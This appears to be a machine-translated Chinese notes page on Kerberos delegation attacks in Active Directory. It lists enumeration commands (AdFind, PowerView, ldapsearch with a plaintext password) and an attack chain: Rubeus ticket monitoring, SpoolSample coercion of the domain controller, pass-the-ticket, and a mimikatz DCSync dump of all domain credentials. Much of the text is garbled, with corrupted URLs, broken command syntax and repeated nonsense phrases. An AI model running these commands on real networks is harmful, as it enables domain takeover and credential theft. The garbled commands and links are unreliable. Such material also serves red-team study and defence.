代表团
委托
将域中用户的权限委托给服务帐户,以便服务帐户可以在域内通过用户权限在域内进行活动。接受委托的用户只能是服务帐户或主机帐户。
域委托有三种类型:无限制委托,约束委托和基于资源的约束委托。
示例
客户端需要通过HTTP访问SQLServer服务器,但是HTTP无权访问SQLServer。目前,HTTP要求客户端的身份访问SQLServer,然后将请求返回给客户端。
无约束的委托
https://www.se7ensec.cn/2021/20/20/20/%E5%9f%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%9F%9F%9F%E8%E8%AEAAE AEAMAEA; %9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E9%9D%9D%9E%E7%BA%A6%E6%9D%9D%9D%9F%E5%A7%A7%A7%94%E6%E6%B4%B4%E6%E6%E6%BB%E5%E5%E5%E5%BB
对于无限制的委派,
服务帐户可以获取委派用户的TGT并将TGT缓存到LSASS流程中,以便该服务帐户可以使用TGT模拟访问任何服务的用户。使用非受限委托配置的帐户的UserAccountControl属性具有标志位trusted_for_delegation。非受限委托的设置需要SighableDeleage的特权,该特权通常仅授予域管理员(注意:域控制主机帐户默认情况下将配置无约束的委托属性)。
不受约束的委托是一种高度风险的代表团方法。它使服务器能够通过TGT转发来模拟用户。服务帐户根据用户发送给他的转发TGT代表用户请求任何其他服务。从中可以看出,一旦捕获而没有约束的服务帐户,将滥用用户的身份。
adfind
查询主机的无限委托
1adfind.exe -b'dc=nncm,dc=com'-f'(((samaccounttype=805306369)(useracccountcontontrol:1.2.840.113556.1.1.1.1.4.80:=524288))
1adfind.exe -b'dc=nncm,dc=com'-f'(((samAccountType=805306368)委托用户
1get -netuser -uncontain -domain nncm.com |选择名称查找域中配置了未约束委托的主机
1get -netComputer -uncontred -domain nncm.com |选择名称
PowerView
随附Kali,适用于在域中在域中配置非受限委托的用户查询搜索
1ldapsearch -x -h ldap: //192.168.201.1666:389 -d'cn=test,cn=用户,dc=nncm,dc=com'-W 123456 -B'dc=nnc=nnc=nnc=nnc=nnc=com' (userAcCountControl:1.2.840.113556.1.4.803:=524288))'| grep -ie'Dickindedname'查找主机,在域中配置了无限制的委托书
1ldapsearch -x -h ldap: //192.168.201.1666:389 -d'cn=管理员,cn=用户,dc=nncm,dc=com'-W 123456 -b'dc=nncm,dc=nncm,dc=com' (userAcCountControl:1.2.840.113556.1.4.803:=524288))'| Grep -ie'DickinderedName'
ldapsearch
此实现是:您需要获得“主机”启用“主机”,以获得无限制的委托机器,该机器在Domain of domain of Domain of Domain Marchines in domain of Domain of Domain of Domain of domain in domain of domain of domain of domain of domain in domain in domain in https://github.com/leechristensen/spoolsample
在计算机上使用管理员权限执行以下命令,以从DC计算机侦听相关信息
1rubeus.exe Monitor /Interve:1 /FilterUser:DC01 $使用spoolsample强迫DC访问win-tvho4uifmbt机器并获取门票
1-spoolSample.exe DC01 TGT票由Win-TVHO4UIFMBTRUBEUS ITMOT
1rubeus.exe ptt /ticket:用base64 content抓取或使用powershell命令将其转换为文件格式以进行凭证导入
https://blog.csdn.net/a3320315/article/details/106511098
1 [io.file] :3360writeallbytes('c: \ users \ uper \ public \ public \ ticket.kirbi',[convert] :frombase644string('base64 recurnential content'')
1mimikatz.exe'log''lsadump:dcsync /all /csv''exit'
无约束委托 +剥离器利用率
https://WWW.SE7ENSEC.CN/2021/10/20/20/%E5%9F%9F%9F%E6%B8%97%E9%E9%; 81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E7%BA%A6%E6%E6%9D%9D%9D%E5%E5%A7%A7%A7%E6%E6%E6%B4%B4%E6%E6%E6%E6%94%BB%E5%E5%87%BB
约束委托
受约束的委托可以用作后门许可维护的黄金笔记变体。
https://github.com/skewwg/domaintools/blob/master/delegationvul/%E7%Ba%A6%E6%9D%9D%9F%E5%A7%94%E6%B4%BEB4%BEB4%BEB4%BEB4%BEB4%BEB4%88%88%900;
约束委托利用率
https://www.se7ensec.cn/2021/20/20/20/%E5%9f%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%9F%E8%E8%E8%AEAMAEAMAEA 200; %89%96%E6%9E%90/#%E5%9F%BA%E4%BA%8E%E8%B5%B5%84%E6%BA%BA%90%E7%9A%84%84%E7%BA%A6%A6%A6%A6%E6%E6%E6%9D%9F%9F%E5%E5%e5%a7%a7%e6%e6%E6%E6%E6%E6%E6%e6%BB BB BB
基于资源的约束委托
域渗透——基于资源的约束代表团利用-https://xz.aliyun.com/t/7454
123基于资源的约束委托使用解决问题的问题,即无法使用基于资源的域限制委托委托域名委托域许可维护
基于资源的约束委托利用率
3https://Forum.butian.butian.net.net/share/1591-※红色团队域渗透技术:委托攻击(完整)(完整)攻击(完整)
https://xz.aliyun.com/t/7217-※域渗透- Kerberos代表团攻击(本文非常好)
https://mp.weixin.qq.com/s/ue2ulu8vxyhryealezbbsw-微软不认识的“ 0day”域中的本地权利促进- 腐烂的番茄
https://Cloud.tencent.com/developer/article/1601095-这是“不同的”真实渗透测试案例分析文章
https://www.cnblogs.com/nice0e3/p/15875685.html -Intra Intra -Domain代表团攻击
https://xz.aliyun.com/t/10061- Kerberos委派攻击是什么
https://MP.Weixin.qq.com/s/gdmnlskjjxhela4guwxtkq-包括所有委派攻击知识点(补充)
https://www.cnblogs.com/car7n/p/14789004.html-委托
https://skewwg.github.io/2020/11/11/25/yue-shu-wei-pai-li-yong/-约束代表团利用
https://skewwg.github.io/2020/11/11/11/25/ji-yu-zi-yuan-de-yue-shu-wei-wei-pai-li-li--------基于资源的约束委派利用